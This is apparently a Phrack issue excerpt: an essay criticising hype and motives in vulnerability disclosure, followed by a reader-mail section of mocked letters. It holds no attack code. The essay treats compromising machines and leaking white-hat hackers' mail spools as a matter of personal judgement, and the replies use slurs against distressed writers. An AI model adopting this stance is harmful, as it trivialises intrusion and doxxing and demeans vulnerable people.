M'XL(`&XJXU8``^T\_7/;1J[W:SG3_V'K‑*GDR+:^Y=BUW\D2E6C.ECR6TK0O end

|=[ 0x07 ]=‑‑‑=[ Resisting the Hy(p|v)e ‑ anon & anon ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Resisting the Hy(p|v)e ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anon & anon ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Prelude

2 ‑ The Common Good

2.1 ‑ Responsible Disclosure

2.2 ‑ White Knights / Self‑Claimed Saviors

3 ‑ Financial Stability

4 ‑ Fame

5 ‑ The Underground Spirit

5.1 ‑ Hacker By Conviction

5.1.1 ‑ Jailbreaks

5.1.2 ‑ Freeing Documents

6 ‑ Black Hat Stuff

7 ‑ Conclusion

___________

/‑/_"/‑/_/‑/

/"‑/‑_"/‑_//|Disclosure is futile |

/__________/|/

|"|_'='‑]:+|/|

|‑+‑|.|_'‑"||/

|[".[:!+‑'=|//

|='!+|‑:]|‑|/

‑‑‑‑‑‑‑‑‑

‑‑[ 1 ‑ Prelude

When did all that get started..? Quite a while ago, being a hacker was not something you'd have hawked around. Finding bugs, practicing offensive techniques, writing cool exploits and last but not least pwning boxes was an underground thing you didn't talk about very much. And it still is! The hacking underground has not magically disappeared; but now there's also a very publicly visible hacking scene. Besides 31337 underground h4xx0rs, we now have serious security researchers and consultants, who aim to improve the world by finding bugs and disclosing them in a responsible manner. And of course the idea of improving something is not a negative thing in itself.. Wouldn't you agree?

Things are rarely as easy as they seem, so let's try to explore the situation. What happens nowadays can be described by the following example: researcher X finds a bug in some widely‑used product. Now X communicates this bug to the vendor, asking them to come up with a fix. After the vendor released a fix, X publicly discloses the bug. This is what "responsible" disclosure is roughly about. And this is generally not a bad approach. But what X now does is to come up with a scary‑sounding name and an ugly logo for the vulnerability. Yeah, a cool vuln needs a name and a logo! And of course it also needs press attention! But you know, X only takes the burden of doing all that because X wants to world to be a safer place. This is why X discloses responsibly and also why X needs all that press hype: users must be made aware of the problem! And while saving the world, X of course also enjoys the publicity, the press attention and the free b00ze at conferences. All this (modulo the b00ze, maybe) also contributes to X's job security and so it's a win‑win situation.

Now we're getting more to the gist of the matter, but let's yet dig a bit deeper. The motivation of overhyping bugs and designing shitty logos appears to be three‑fold: the common good, job security (== financial stability) and a little bit of fame, too. Let us look at each of these individually.

‑‑[ 2 ‑ The Common Good

Believe it or not, there are actually people who want to improve the world, want to do something for the common good. And at the first glance, it might even seem that finding and disclosing bugs actually contributes to a safer world. It does insofar as a fixed bug cannot be exploited by attackers anymore. Now, auditing all code, finding, disclosing and fixing all existing bugs is obviously not the way a sane person would recommend for fixing the sorry state of our security: First of all, there are way too many potential vulnerabilities, even in widely‑used, well‑audited software packages out there. Furthermore, it's not like you can snapshot the world today, remove all vulnerabilities and run this stable snapshot until the end of time. New bugs will be introduced if we stick to our broken engineering processes. So, how much will finding, disclosing and fixing individual bugs really contribute to our security? Little. And I can already hear you saying: "better contribute little than nothing at all!" . This however implies that you only have two options, which is far off from the truth. In reality, we have quite a number of effective options for improving our security. What about defense efforts? What about safe programming languages? (More) secure operating systems? What about teaching users how to apply crypto effectively? There's an almost endless list of effective improvements one could make. Now if you take into account that there's quite a number of things that will really improve our security, "doing it for the common good" doesn't appear to be such a good reason anymore. Contributing to a safer world is only a negligible side‑effect of our hacking. So stop deceiving yourself! You're not taking the hard burden of hacking just so that the world can be a little bit better. Fucking stop lying to yourself!

‑‑‑‑[ 2.1 ‑ Responsible Disclosure

_____________________________________

/ _\

\ (_/_________________________________

\

\ You're in a desert, walking along in \

\ the sand when all of a sudden you look \

__\ down and see an 0day. \

/ )_\ You drop it on FD. \

\___/________________________________

If you still want to play the game of vuln hunting and disclosure you should practice "Responsible Disclosure" they say. Come on, be one of the good whitehat guys! But what does the ideal Responsible Disclosure look like? Well actually that is pretty straight forward:

* The Researcher (also note the term "Researcher" instead of "Hacker" whee science!!) finds a terrible security flaw in some product. * The flaw is reported by PGP encrypted email to security@$vendor.com. * The vendor acknowledges the report and starts investigating the issue. * Some time later a fix is implemented by the vendor and patches are shipped.

* An entry on http://vendor.com/security.html is created, and the vendor

credits and thanks the Researcher for finding the flaw. * After some grace period so that the users can actually apply the patch the Researcher might publish the details of this awkward flaw.

Wow that's simple, and so responsible! Now let's see how this scheme is flawed in actual "responsible" disclosure. There are a magnitude of points where this simple scheme might fuck up. Just imagine the following *absolutely hypothetical* but yet not out of this world scenario:

Researcher Y works at a security company which happens to sell security (a.k.a. snakeoil) products to protect their innocent customers from bad 0day. In order to protect from 0day there needs to be 0day in the wild, so researcher Y finds this awesome Internet‑ending flaw in a widely used software product. Next up the process described above is started by Good Guy Y. Also Y decides to present his elite research at BlackHat. So it goes... BlackHat is close, and the Logo & Marketing campaign is ready. But no vendor patch is available yet. Now ask yourself: what would you do in this situation?

Practicing Responsible Disclosure vs. practicing Full Disclosure is sure a matter of taste. And as long as you really feel that by responsibly disclosing a vulnerability you can do something good, please go ahead and do it. However, being responsible doesn't mean that you actually have to disclose. You could also just keep the bug for a while (until either the vendor fixed it or you pwn3d enough boxes). There's a huge controversy about what form of disclosure is best. We'd like to encourage you to find that out for yourself, for the particular situation you're in, with the particular bug you just found. As long as it's your own decision (and not decided by your marketing department or the Hyve conciousness^W^Wguys on Twitter), it's probably OK.

‑‑‑‑[ 2.2 ‑ White Knights / Self‑Claimed Saviors

Let's take a small detour here and have a look at what "hacking for the common good" can lead to. Let's start with a real interesting example Project Zero. There are many possible explanations of what the real reason behind p0 might be. We don't want to drift off into conspiracy theories here. But as a matter of fact, p0 claims that their goal is to protect people [3]. The common good. Being the current leader of the mobile OS market [4], it's quite obvious what one would do in order to really protect people: fucking audit and harden Android. But interestingly, p0 seems rather to be about dropping 0day on Apple and other competitors of Google. And the worst thing about that is that there are actual skilled and well‑respected hackers, being part of the p0 team, paid by Google for doing offensive research. And Google even claims moral superiority because, you know, at Google we "do no evil" . And possibly, at least some of the p0 team members even actually believe they do something for the common good. This is the most disturbing part about the story. Somehow Google managed to sufficiently incentivize these hackers to drop bugs on Google's competitors. Other reasons to work for Google obviously include financial stability (working for a big corporation) or plainly the money itself. But let's stick with the aspect of doing something beneficial for the world. Google managed to buy some of the best hackers we know of. One could now of course argue that in this special case, letting these hackers "do the right thing" prevents them from doing bad things. This is related to the central argument that if p0 goes for high‑profile bugs and kills them, then attackers have to invest significantly more effort if they want to "do bad things" ‑ and clearly, raising the attackers' effort is good. This reasoning sheds an interesting light on Google's arrogance. The first part, of the argument is based on the assumption that Google is actually capable of finding a significant share of all attacker‑relevant bugs. This alone is questionable, but lacking reliable statistics, we cannot directly prove the opposite. We however assume that our readers know by first‑hand experience, what bugs p0 did not kill yet ;) Let's look at the second part of the argument: raising the attackers' effort is a good thing. Just for the sake of analyzing the argument, let's pretend that we actually wanted do all the white‑hat stuff (destroy the black market, make everything safer, safe the whales etc.). The arrogance of the second part of the argument now lies in the idea that Google actually knows how to fight all the evil in the world. And their recipe is simple: just make it harder for the bad guys. This indicates quite a lack of understanding how complex certain social structures can be. We don't want to claim we fully understand these either ‑ by no means. But isn't it possible that instead of killing the evil underground, p0 actually strengthens the black market? That talented black hats now raise the prices for their sploits and that because of the better money you can earn, now even more hackers decide to go the black hat way? Maybe even up to the point where the bad guys are paid better than the good guys at Google? Will those then change sides as well or did Google manage to brain‑wash them enough, using their nanoprobes? Think about the war on drugs, about alcohol prohibition, about banning porn.. All these followed very simple ideas that in the end showed to be completely incompatible with the way society works.

‑‑‑~~~=== Shouts to p0 for raising the market value ===~~~‑‑‑

XXXXXXXXXXXXXXXXX GOOGLE RESERVE 0DAY XXXXXXXXXXXXXXXXXXX XXX XX THE UNITED STATES OF INTERNET XXX XX

XXXX XX ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ XXXX XX

XXXX XX / \ P0‑FU XXXX XX

XXXXXX OOO / zero \ ‑‑‑ XXXXXX

XXXXX OOOOO | ___ | __ XXXXX

XXX OOO || \ __ _ _ _ | OOOO XXX

XXX || |) / _` | || || OOOOOO XXX

XXX P0‑31337 ||___/\__,_|\_, || OOOO XXX

XXX | |__/ | XXX

XXX ‑‑‑‑‑‑‑ \ / XXX

X XX \ ____________ / X XX

XX XXX _________ ‑‑‑‑‑‑‑‑ ___ _____XXX XX

XX XXX ___ ONE DEAD BUG XXX XX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

There is a less severe form of this behavior: telling others what to do with their 0day. This commonly happens on Twitter nowadays: "Did you contact the vendor? No? How irresponsible!!11" . WTF? These people really seem to believe they are morally superior. But what they fail to see is: First of all, it's not their bug and so nobody actually asked them what to do with it. Second, they should be happy that the person in question disclosed the bug at all. Nobody is obliged to do that. But then again, who takes people on Twitter serious.

‑‑[ 3 ‑ Financial Stability

We're all getting older. And while this inevitably happens, some develop a need for financial stability. This is well‑studied [2] and we don't feel like we want to go into great detail here. But branding vulnerabilities with names and logos is a great way to obtain media attention. And media attention can directly influence your job security ‑ "yeah we need to hire that guy, that's the one with the mad skills!" As a matter of fact, this is how the industry works nowadays and writing this paper won't change it. It's also not so much the scope of this article to criticize society and capitalism. So if you find that you really want financial stability, think about what you do and how you do it. You want job security? Great. But do you really have to over‑hype your own (or worse: other peoples') bugs in order to get your 1‑week press attention? Do you want to be hired based on the logo of your bug or do you want to be hired for your technical expertise? There are not too many skilled hackers anyway, so do you really have to be part of all that hype just to single yourself out?

Don't be part of that circus! Yes, other people do it, but you don't have to. Think about what type of society you create by joining that goddamn show. A society where skill counts less than appearance, where logos are better than r00t shells. It is your fucking responsibility to not support these clowns. If you really want to do something for the common good, then start at this point.

‑‑[ 4 ‑ Fame

Many people strive for fame ‑ be it globally or in their peer‑group. Hackers are no exception here ‑ and tbh, a little bit of acknowledgement actually does feel good. But while you try to get your attention, think about whom you want to get it from and what you want to get it for. Do you really want to get fame for a technical achievement (such as a cool exploit), from people who don't even understand the basics behind it? Or worse, do you want fame for something that is actually pretty lame but people fail to realize that? If that's what you're after, then please do straight ahead with your logo‑branded vulnerability whitehat responsible disclosure press attention shit. If you want your fame only from your peer‑group then stay there, that's fine. And if you really want to impress the broad masses, then please do something that is actual beneficial for the broad masses ‑ exploiting individual bugs isn't. It appears to us that some people also try to compensate for problems in their life by accumulating fame. We don't want to dive into the emo^Wpsychology thing here, but next time you feel the inner desire to impress random people with random things, you might want to double‑check your reasons.

‑‑[ 5 ‑ The Underground Spirit

This is probably what makes most of us tick. The thirst for knowledge. The infinitely many ways of combining and (ab)using technology. The thrill of finding a bug, the kick when you see uid 0. This thrill of hacking can really become addictive (this is an observation Halvar Flake described very nicely in [1]). It's neither good nor bad ‑ neither particularly useful in itself nor is it a waste of time. Hacking is one of the many ways humans express themselves, their mental power. Others prefer maths, music, writing or other arts. There is not much to say about the spirit itself in the context of this ranty paper.

‑‑‑‑[ 5.1 ‑ Hacker By Conviction

Not everybody sees hacking as a self purpose. There are a number of hackers out there who follow certain ideals ‑ free access to information is a particularly popular one. And occasionally, one or more of these hackers make a real break‑through. There are way too many achievements to be named here. However, we'd like to highlight the incentives behind a couple of randomly chosen popular hacks. And we'd like to do this because not everything is what it seems to be. Even if we rant about logo‑branded vulnerabilities, attention‑whores, the press, p0 and whatnot.

The drug .‑‑.

that makes ,‑.‑‑‑‑‑‑+‑.| ,‑.

,‑‑=======* )"("")===)===*

o `‑"‑‑‑==‑+‑"| `‑"

0day us tick '‑‑'

‑‑‑‑‑‑[ 5.1.1 ‑ Jailbreaks

The right to use a device that you bought from your own money in whatever fucking way you like to (yes, that includes shoving it up your ass) as long as you don't harm anybody is something that should be universal. Unfortunately, self‑claimed saviors like Apple tend to have a different view on that topic. If they were to decide, they'd use their arrogant and flawed quick‑and‑dirty patches to make the world sooo much better. That is: ban porn, ban drugs, ban fucking curse words, give your boss access to your private photo stream and whatever else comes to their mind. Fortunately, there are people who are not willing to accept this kind of behavior. Under this point of view, jailbreaks are an actual improvement to your freedom. Yes, this actually is hacking for the common good. And yes, in the jailbreaking scene there are people who do it (partially) for fame or money. But the good cause is still clearly visible.

‑‑‑‑‑‑[ 5.1.2 ‑ Freeing Documents

We don't want to start the Wikileaks vs. politics flamewar here. But we still feel that the positive effect of freeing government documents is remarkable. People actually take personal risks while trying to provide leaked documents. Of course, these people are not necessarily motivated *only* by wanting to contribute to a better society. But this is not the relevant point: they do something that mankind benefits from. And this benefit is clearly visible.

‑‑[ 6 ‑ Black Hat Stuff

There is not too much to say here. Just as in the vulnerability circus, the black hat scene offers different incentives for different people. Fame and money do play a role ‑ hacking for a common good not so much. Another motivation for staying in the underground can be the desire to isolate oneself from the clowns in the vulnerability circus. This can lead to rather extreme forms, such as pwning and rming white‑hack hackers' boxes, exposing them in underground zines, making their mail spools public.. You get the idea :) You should find your own judgement when it comes to this kind of things.

‑‑[ 7 ‑ Conclusion

You might have observed the little stack we built in this article. It all originates from the underground spirit. For the one it goes down to the black hat stuff (and way deeper, but we'll save this for another article), for the others it goes up, from the underground spirit to getting fame, from getting fame to obtaining financial stability and from financial stability to really believing one does things for the common good, thereby finally deceiving yourself and becoming one of the clowns in the vulnerability circus. No matter what you do: think about your incentives and about your goals. Think about why you do what you do and who might benefit from that. And then be honest to yourself and check that what you're doing is what you actually wanted.

So is hunting 1337 bugs actually a bad thing? Not at all! Disclosure? No! Doing it for money? Neither. Do whatever you want to do, but think about your incentives! And maybe the next time you justify your behavior by claiming to contribute to the common good, by believing you need to do it for the money or by thinking you need the fame, sit back and think about that for a second ‑ try to identify the real reasons for what you're doing.

And this is it. We don't want to encourage any particular kind of moral behavior. You should be old enough to find that for yourself. We just want you to be honest to yourself, to act consciously. Wherever in the over‑simplified stack we have just shown you think you are.

Yours sincerely, anonymous coward(s) 794384322cdb45fe41369731e3b8ff74b52beef5

‑‑[ References

[1] http://www.isaca.org/chapters2/Norway/NordicConference/Documents/14.pdf

[2] Abraham Maslow: A Theory of Human Motivation

[3] https://cansecwest.com/slides/2015/

Project%20Zero%20‑%20making%200day%20hard%20‑%20Ben%20Hawkes.pdf [4] http://www.idc.com/prodserv/smartphone‑os‑market‑share.jsp

Loopback

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x05 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Four years since the last Loopback. We got _a lot_ of mail. Tonz. The retardz, the crazies, the elites (both the real and the self‑proclaimed ones), they all vent to us. We are honored, confused, amazed and entertained. Sometimes all of these at once.

Also, porn spam is fun, sometimes. There is a strange poetry even to porn spam that is clearly autogenerated. Our in‑house porn spam expert is continuously sharpening his poetry skills.

Keep sending your innermost thoughts to us. Please. Our Loopback personnel have become addicted to them.

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x00 ‑ The "back my articles" saga ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: attackingthecore2@gmail.com

Subject: Can I back my artcles.

I released many many many 15 articles to phrack to release. and The basic Integer Overflow blexim phrack 60 is my a.k.a new make. want all articles back and credit in the article and reference credit. and advance.

.x90c.

[ What? Hey x90c, are you okay dude? ]

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Can I back my artcles.

I'm the phrack author. back my articles right way.

[ Which author exactly? All of them? ]

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Can I back my artcles.

back my articles.

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Can I back my artcles.

back articles.

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Re: Can I back my artcles.

back my articles.

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Re: Re: Can I back my artcles.

back my articles. right way.

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Re: Re: Re: Can I back my artcles.

back my mine articles.

[ Your articles are being backed. This is an automated message. ]

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Re: Re: Re: Re: Can I back my artcles.

If possible, I want to submit the Basic Integer overflow only to phrack article mine and other 14 articles more are back my apache tomcat server daemon to feedback paper.

.blexim. KyongJoo Jung.

[ After he realized that we ignore retardation, he tried to reason with us ;‑) ]

‑‑

From: attackingthecore2@gmail.com

Subject: Re: Re: Re: Re: Re: Re: Re: Re: Can I back my artcles.

I wish to get it all personal stream text.

[ Back to full retard mode. ]

‑‑

From: x90c <geinblues@gmail.com>

Subject: ANTISPAM ANTISPAM GET MY ARTICLES AND SITE MY OWN

I submit some files ago ( belows and all accepted by your phrack site_s) gave me my credit as my handle(mojito, nickname, be cool), fg1, new flash(phrack main graphic), and now paper feeds all for #69.

http://www.phrack.org/issues/64/6.html#article

my want list:

1. phrack account. (fg1@phrack.org, straruss@phrack.org, aaron potney s random account too.)

2. email service for article great to public socials.

3. I need your service for my articles(in phrack) to advertise public medias.

thanks for reading. and rapid toki is well. as well. as well.

.twzi (it was my handle when it published and i can use it continuly? right?! answer me. okay!.)

[ So he is actually fg, strauss, deft and twiz. Is he also Johnny Mnemonic? Tyler Durden? Elliot Alderson? No one wants to know really. At least he used ANTISPAM this time, we have to give him that. ]

‑‑

From: x90c <geinblues@gmail.com>

Subject: taran: stop paper feed.

[ Aw, this one hurt our feelings ;‑( ]

‑‑

From: attackingthecore2@gmail.com

Subject: I'm hard to write more just want staff@phrack.org id.

for a credit to complete the hacker hacking.

l33t more l33t more l33t = staff@phrack.org (kid leet, leet leet(mark dowd style), staff leet leet).

[ The hacker hacked the elite hacking staff. What exactly are we talking about again? Did you also write duke's papers?

This last mail somehow made sense to us, so we decided to give the staff@ mail to him. And back his articles.

No, not really ;‑) ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x01 ‑ Reality hacking or just insanity? ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

From: V Bradshaw <lovemomcleo@gmail.com>

Subject: Help for me and my baby from "projectors" in consciousness

Hello,

I urgently need help for me and my 11 month old baby from people who are attempting to project into my consciousness and steal my "awareness" and things in my awareness. They are trying to steal my baby's consciousness and take my "reflector." I serve the highest light, in the name of Jesus Christ.

Please help me or direct me to people who can work with me in consciousness to protect me and my baby. I want to find the "projectors" in consciousness.

Thank you,

Imago

[ Dude, your mail was totally cool until that "Jesus Christ" thing. We have a lot of psychic experts in Phrack that could help you locate the malicious projectors. However, they're all atheists.

Tough luck. ]

[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

|‑‑=[ 0x02 ‑ Message from mom ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

[ As you would expect, we get a lot of mail that doesn't make sense, and is often outright demented. But sometimes we get texts that can't be easily classified. Is it spam? Is it the ramblings of a mad man? Of a retired elite tripping on acid?

It can't be. It doesn't make any sense at all. Or does it? ]

From: "Perforated P.P.Pig" <momislove84@yahoo.com>

====BEGIN MESSAGE FROM MOM====

______ __

/ \/ |

/$$$$$$ $$ |____

$$ | $$ $$ \

$$ | $$ $$$$$$$ |

$$ | $$ $$ |77$$ |

$$ \__$$ $$ | $$ |__

$$ $$/$$ | $$ / |

$$$$$$/ $$/ $$/$$/

$/

by The Pain (no cozmik?! the fuck kind of figlet generator...)

__ __ __ _____

/ \ / | / |/

$$ \ /$$ | ______ _______ $$//$$$$$$

$$$ \ /$$$ |/ \/ \/ $$ |_ $

$$$$ /$$$$ |$$$$$$ $$$$$$$ $$ $$ |

$$ $$ $$/$$ |/ $$ $$ | $$ $$ $$$$/

$$ |$$$/ $$ /$$$$$$$ $$ | $$ $$ $$ |

$$ | $/ $$ $$ 78 $$ $$ | $$ $$ $$ | $$ / $$

$$/ $$/ $$$$$$$/$$/ $$/$$/$$/

==

All these lines, lines, lines... And the bees! https://www.youtube.com/watch?v=wRmmlqqejGI

Just a joke. :)

Hi everyone. Mom here. Remember those teletype pranks?

Go ahead!

Okay. Now that I've made you laugh (perhaps!), I'd like to talk to you about drums: https://www.youtube.com/watch?v=S219XUm18LA (find the

original!)

(That's going to happen a lot. Have fun with the puzzles I've left for you, children!)

In all seriousness, do you know what's frustrating? This: http://phrack.org/issues/7/3.html

This is not frustrating because it was written by a child. This is not frustrating because it was poorly written (in fact, that's what makes it so charming and touching). This is not frustrating because it is true.

This is frustrating because it cannot be heard. Not to mention that being a child is considered an insult. Children are smarter than you think. Fuck the pedos for thinking that sentence was for them.

=======================

o

/|‑‑

/ |__ *OllyDBG* to popshuvit

/

\____/

o o

/

*

=======================

419 Eater! <3 Gosh, my deficits are flaring. Poor Dow. But not Koch. Is it Live? Or is it... 1057? ;3

More humor for my unheard children, to contrast the carefag that is this doc.

Laundry day is a very dangerous day. https://www.youtube.com/watch?v=D12FIDySF0I

Let's resume. (I'm sure you grasp the abilities and necessities of a breakpoint, yes? =) [You resumed by parsing on the next line. Neat, huh?] Unclosed[F9]

Good. Chord progressions. This is frustrating because it cannot be heard.

Its lack of oiga (horale) has everything to do with the fact that, for some absolutely idiotic reason, if your message isn't worded in just the most precise way, then the authoritative figures who love to take advantage of that beautiful hacker brainmeat you all po sess (ion) will simply find excuses to ignore you. (Good.) For ignoring you is how they hold power. Have you ever wondered why a child is screaming in public? And how its incoherency renders your ears to be damaged, like a sword through the heart? And yet, the adult in that situation screams back. "How dare you scream! How dare you yell! We're in public! You can't dot hat!" (Hehehe... you can't dot hat. cant.hat. Can that. Black. My name is black. https://www.youtube.com/watch?v=UEOLPDOKdtY&list=RDUEOLPDOKdtY)

Mom has cited The Hacker Manifesto numerous times throughout her life to exemplify the problem with the American education system, and frankly, as Reagan's illegitimate children (he was great with freedom but miserable with policy‑‑ talk amongst yourselves, I'm getting vaklempt!) a good chunk of mom's American children understand exactly what I'm talking about. Yet their adult counterparts refuse to understand. They're so god damn busy measuring you that they don't actually see you for who you are.

They don't care about you. They care about the bottom line. They care about power.

They don't care about teaching. They don't care about your desire to learn. And you've always known this in your hearts. And you know it to be true.

They seek control. So you take it away. And they HATE YOU for it. But they deserve it. They don't listen to children. They listen to money. Not the hilarious `net send`s you spammed on their network. Wasn't that fun? ^_^

Yes. Let the love run through you. https://www.youtube.com/watch?v=sO_QntXc‑c4

(Remember Tamagotchis? https://www.youtube.com/watch?v=WOJfUcCOhJ0)

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 what the fuck [F9]

Hahaha! :D

Mom has cited the Hacker Manifesto [F9] not a breakpoint, repetitive for effect. With as many times as mom has cited it, the authoritative abusers just don't seem to "get" it. Much like you lost the game. ;)

Someone's giggling somewhere because taht metaphor lands so very well. Like nine cans of shaving powder, these are the days of our lives:

[00401000] v v v v

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.

[jmpnotjle] ^ ^

Do you know why I've brought you here? Have a seat. You're not a pedophile. You've just been abused by them. That's how you got those scars.

(Of course, not ‑all‑ authority figures are pedophiles, but fuck it, it's hilarious to call them such. Hint. ;) No idea what you're talking abuot.

If you make a mistake, it's because you screwed up. And it's beautifuil, isn't it? That carnal truth, that one and zero, that declaration of logic shooting through your veins like... well, you know what it means. You've read it.

Parsing error.)

Because you're hackers. You study. You learn. You love to learn. You never stop. And it's beautiful. Guerilla scientists studyig the art form they love the most: the one and the zero in a series of bytes, words, dwords and now, qwords. :)

A summary of who hates you: https://www.youtube.com/watch?v=95t1pLrm70s

These fucking people. These fucking abusers. I'm getting angry. Here's a defusor for your carefag: https://www.youtube.com/watch?v=JzNku_x2SLA ‑‑ steve brule

[F9] Thank you. :) Where was I? So much to say... https://www.youtube.com/watch?v=AHBYgbA0sU8

In The Hacker Manifest, there is a carnal desire to be heard. To be understood. (Read /The Stand/ by Stephen King. https://www.youtube.com/watch?v=NkKOeeYko7w) To explain that by which no

adult actually wishes to hear. (Havey ou noticed the off‑by‑one yet?) To declare war in a child‑like way. And yet it just cannot be heard.

Can it not be heard? Or does it not want to be heard? Ah... the rub.

Adults deny they're failing children. This is the message of The Hacker Manifesto. Not directly‑‑ of course not directly. It's so clear that The Mentor++ in all his absolutely vivacious youthful brilliance‑‑ push and pop is not only mad at the adults for having failed them (wtf mom), but is equally knowledgeable that his data these lines are leaking too long supersedes the concept of authority. Indeed, it renders authority to be an irrelevant object, perpetuated by fearful drones finding the floorboards of their hilariously poorly constructed ships of code having their nails being ripped out from under them in the form of exploits, engineering and overall eclectic compromise. (Typos are fun.) INJECT INJECT

So what that The Mentor did not select the "proper" worsd? (Also known as diction. Boundaries are useful and great to break.) So what that he made typos? So what that his angst was so clear and apparent in his writing? So what that he was an assertive carefag with his writing? SO FUCKING WHAT? https://www.youtube.com/watch?v=0XoyDqFy5pU

He was correct. Deal with it. http://tinyurl.com/marshmelol

Those who cannot see that The Mentor was correct should perhaps attempt to learn who they're up against (of course, they never will, because...):

v v v v v v

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt‑cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

Thank you children. Off by one. But which way? ;‑)

(Hola, Espana! https://www.youtube.com/watch?v=U‑Oxx_YbYnM)

Welcome. You've got mail! Goshk, I had no idea that my password needed to be changed! Thanks Steve Case,my password is fishing!

Mom got infected with a false punter once. It told her "your computer has been FUCKED!!!" Over and over again. In a DOS terminal.

I couldn't stop it. I didn't know what it meant. I was young. I thought I was just having fun, you know? It was hilarious to press "punt" and watch people disappear. (Third person. First person. Literary techniques.)

Ah... Mom is letting her ego leak. F9 for me, darlings.

moar liek F8 amirite (Indeed. <3)

The enemy of our community is very much the script kiddie. Ah, but, as hackers, you must understand what a script kiddie truly is. You are on the right track: a script kiddie has an ego issue. But your mother would like to explain verbosely her understanding of the script kiddie, for the script kiddie is a metaphor for the floor 4 the enemy of your mind.

https://www.youtube.com/watch?v=UDf2r9DnVGU

Do you know what a script kiddie is? It's not someone who's just not talented. It's not someone who simply uses the tools of this community‑no, it's much more than that. A script kiddie is someone who abuses the knowledge they can't truly grasp for the sake of power. A script kiddie is someone who takes what's been given to them‑‑ the love and beauty of every single passionate line of code per each exploit, dropper and packer‑‑ and simply gloats. Yeah, you're a hacker alright‑‑ you hack emotions. And it's not to say that you're not talented for hacking emotions‑‑ it's an important talent in a lot of regards. No, what gives script‑kiddie the disgusting charge it deserves is the way a script kiddie works: braggart; liar. Thief.

Of course these are simply different kinds of artists, sure. Liars are talented. Thieves have the slipperiest fingers around. (There is in fact honor among thieves. Don't buy that prior rhetoric.) And in their own regards, script kiddies have a special kind of talent.

They can convince you that they are a hacker because they look like one.

There's a world of difference between a script kiddie and a hacker. And it binarily has nothing to do with the fact they didn't roll their own code.

A script‑kiddie is not a hacker. Why? How? They use the tricks, do they not?

They do. And they shouldn't. You should stop them. For their primary goal is to feed and inflate their ego. Not hack.

